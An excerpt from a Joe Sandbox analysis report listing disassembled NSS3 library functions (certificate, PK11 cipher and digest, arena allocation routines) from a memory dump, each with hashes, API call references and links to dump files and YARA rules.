Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction ID: f2a42c00d9861a02541a936d824fe086fc86be7112a926e75ffeeb0257798d95
Opcode Fuzzy Hash: e5954106316e0adad9ac5951d6584b2d4173e4d74106c445bc85aefab938f538
Instruction Fuzzy Hash: DD5115B5F042559FDB108E99C8807AEB7B5FB49318F260229DD15B7B40D332AC10CBDA

Function 6C67DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C67DF37
EnterCriticalSection.KERNEL32(?), ref: 6C67DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C67E02B
PR_Unlock.NSS3(?), ref: 6C67E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C67E090
PR_Unlock.NSS3(?), ref: 6C67E0AF

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction ID: 9501870ea34204264d3d9f31e2d1bb77185d2a06bf5f4a601f77d91e78d6c37b
Opcode Fuzzy Hash: 111ef1184b8dab736dedca1212b1f31d90e64755f08684cee05ee4c15632532f
Instruction Fuzzy Hash: A5519171600600DFEB309F25D848B9A73B5FF45318F204D29E85687B91D735E968CBAA

Function 6C67BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67BD1E

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C67BD8C

Part of subcall function 6C6AFAB0: free.MOZGLUE(?,-00000001,?,?,6C64F673,00000000,00000000), ref: 6C6AFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C67BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C67BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE3A

Part of subcall function 6C653E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C653EC2
Part of subcall function 6C653E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C653ED6
Part of subcall function 6C653E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C653EEE
Part of subcall function 6C653E60: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0), ref: 6C653F02
Part of subcall function 6C653E60: PL_FreeArenaPool.NSS3 ref: 6C653F14
Part of subcall function 6C653E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C653F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C67BE52

Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C652CDA,?,00000000), ref: 6C652E1E
Part of subcall function 6C652E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C652E33
Part of subcall function 6C652E00: TlsGetValue.KERNEL32 ref: 6C652E4E
Part of subcall function 6C652E00: EnterCriticalSection.KERNEL32(?), ref: 6C652E5E
Part of subcall function 6C652E00: PL_HashTableLookup.NSS3(?), ref: 6C652E71
Part of subcall function 6C652E00: PL_HashTableRemove.NSS3(?), ref: 6C652E84
Part of subcall function 6C652E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C652E96
Part of subcall function 6C652E00: PR_Unlock.NSS3 ref: 6C652EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C67BE61

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction ID: 65701355d5a2bd30c08e9c2690dbf44acd5858688f1522da27883a31a7e1eadf
Opcode Fuzzy Hash: 449537256d0bd0620eaedbcdb3b88422f393a2779aeb54314f001d8572ee2322
Instruction Fuzzy Hash: C241E7B5A00210AFC720DF24DC80F9A77E4EF8A718F108968F94997711E731ED15CBAA

Function 6C69AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C69AB3E,?,?,?), ref: 6C69AC35

Part of subcall function 6C67CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C67CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C69AB3E,?,?,?), ref: 6C69AC55

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E,?,?), ref: 6C69AC70

Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E33C
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E350
Part of subcall function 6C67E300: PR_Unlock.NSS3(?), ref: 6C67E5BC
Part of subcall function 6C67E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C67E5CA
Part of subcall function 6C67E300: TlsGetValue.KERNEL32 ref: 6C67E5F2
Part of subcall function 6C67E300: EnterCriticalSection.KERNEL32(?), ref: 6C67E606
Part of subcall function 6C67E300: PORT_Alloc_Util.NSS3(?), ref: 6C67E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C69AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C69AB3E), ref: 6C69ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C69AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C69AD2B

Part of subcall function 6C67F360: TlsGetValue.KERNEL32(00000000,?,6C69A904,?), ref: 6C67F38B
Part of subcall function 6C67F360: EnterCriticalSection.KERNEL32(?,?,?,6C69A904,?), ref: 6C67F3A0
Part of subcall function 6C67F360: PR_Unlock.NSS3(?,?,?,?,6C69A904,?), ref: 6C67F3D3

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction ID: 009fc838e1745d02e2a34b7818b0b48fb77a0416a04a5c2b64bb0612863f212c
Opcode Fuzzy Hash: 2d0c11b89fa4d314802e7e8a1f8c3df46124a625cc52c9ca8816609cd61827d6
Instruction Fuzzy Hash: D93129B1E002069FEB008F658C449AF77F6EF85328B188529E8155BB41EB31DD15C7B9

Function 6C678C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C678C7C

Part of subcall function 6C719DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DC6
Part of subcall function 6C719DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C760A27), ref: 6C719DD1
Part of subcall function 6C719DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C719DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C678CB0
TlsGetValue.KERNEL32 ref: 6C678CD1
EnterCriticalSection.KERNEL32(?), ref: 6C678CE5
PR_Unlock.NSS3(?), ref: 6C678D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C678D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C678D93

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction ID: bc14d1f786a2a1f66e5fb678229d84f920ddba061b3f80dd76f9078290abce55
Opcode Fuzzy Hash: 0cee7377bdfb43a627ddb0c0c9ab9afe3ea5a96e6474638fbb16ff66c50419e5
Instruction Fuzzy Hash: E7315571A00205AFE7209F68CD44BEAB7B0FF19318F140536EA1967B60D770AD24C7E9

Function 6C6B9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C6B9C5B), ref: 6C6B9D82

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6C6B9C5B), ref: 6C6B9DA9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6C6B9C5B), ref: 6C6B9DCE

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B13F0
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,?,?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6C6B1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6B9C5B), ref: 6C6B9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6C6B9C5B), ref: 6C6B9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6C6B9C5B), ref: 6C6B9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6C6B9C5B), ref: 6C6B9E91

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

Part of subcall function 6C6B1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6C6AFAAB,00000000), ref: 6C6B157E
Part of subcall function 6C6B1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C6AFAAB,00000000), ref: 6C6B1592
Part of subcall function 6C6B1560: memset.VCRUNTIME140(?,00000000,?), ref: 6C6B1600
Part of subcall function 6C6B1560: PL_ArenaRelease.NSS3(?,?), ref: 6C6B1620
Part of subcall function 6C6B1560: PR_Unlock.NSS3(?), ref: 6C6B1639

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: c8b8f3062b7979f72214e2e2f343d74922bcfc162df5c617cad97fa8202213ce
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: AD417CB4601606AFE7409F15D840B92BBB1FF5534CF148128E9189BFA0EB72E836CF94

Function 6C67DDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C67DDEC

Part of subcall function 6C6B0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C6B08B4

PK11_DigestBegin.NSS3(00000000), ref: 6C67DE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6C67DE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6C67DE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6C67DEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C67DEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C67DECC

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction ID: 40894796c741a6dfc9eb52c67c13617b1ce7ee90e4acca6d7de101ed3258fcc9
Opcode Fuzzy Hash: 99a520589e114d5b676f0ccaee57b6667c668d246de155e62ca4bd551a6fb542
Instruction Fuzzy Hash: 493128B29002146BDB21AF64AD00BBF76B8DF55708F050935EC09A7701FB31D919C6FA

Function 6C657E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C657E48

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6C657E5B

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C657E7B

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6C77925C,?), ref: 6C657E92

Part of subcall function 6C6AB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7818D0,?), ref: 6C6AB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C657EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6C657EFA

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction ID: 9b7b3ff5ec3464678172edb9912dd88b184e74fe246ce5a8f69622df6a2ae730
Opcode Fuzzy Hash: 2958d2f64876b8eeb7002b891954db4e500f2e5deca3736a56d45bf49777d95d
Instruction Fuzzy Hash: 1331C1B2A113155BEB10CB659D44B9B77A8AF45358F658824DC15EBB01F730EC24C7A8

Function 6C6ADC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6C6AD9E4,00000000), ref: 6C6ADC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C6ADC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6ADCAD

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction ID: a608700d852fc8254619c0dbc442647c3b4d40028c7b71c0abb847197cf1788b
Opcode Fuzzy Hash: 86ca336ff8a6246b26f397e06b5cde8ee01913c853765e025adc51f61e1e0abe
Instruction Fuzzy Hash: AB316DB5A00300AFD710CF99D884B96B7F8AF09358F548429ED49CBB01E772E945CBA5

Function 6C672E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6C66E728,?,00000038,?,?,00000000), ref: 6C672E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C672E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6C672E8F
PL_HashTableLookup.NSS3(?,?), ref: 6C672E9E
PR_Unlock.NSS3(?), ref: 6C672EAB
PR_Unlock.NSS3(?), ref: 6C672F0D

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction ID: 7086a1547b0b6a3754f656a697d6b2f7c0e9920d098c0470c92997f72c873469
Opcode Fuzzy Hash: ea536a30826d760c6ed48a5676f5a0cc77fa18eab21892cb315162cdc5cd192f
Instruction Fuzzy Hash: B431E475A00505ABEB105F68EC448BAB775EF46358B048574EC1887A11FB31EC65C7E9

Function 6C691EA0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE002,00000000,?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691ECB

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

TlsGetValue.KERNEL32(?,00000001,?,S&il,6C676295,?,00000000,?,00000001,S&il,?), ref: 6C691EF1
EnterCriticalSection.KERNEL32(?), ref: 6C691F01
PR_SetError.NSS3(00000000,00000000), ref: 6C691F39

Part of subcall function 6C69FE20: TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
Part of subcall function 6C69FE20: EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F

PR_Unlock.NSS3(?), ref: 6C691F67

Strings

S&il, xrefs: 6C691EA0

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

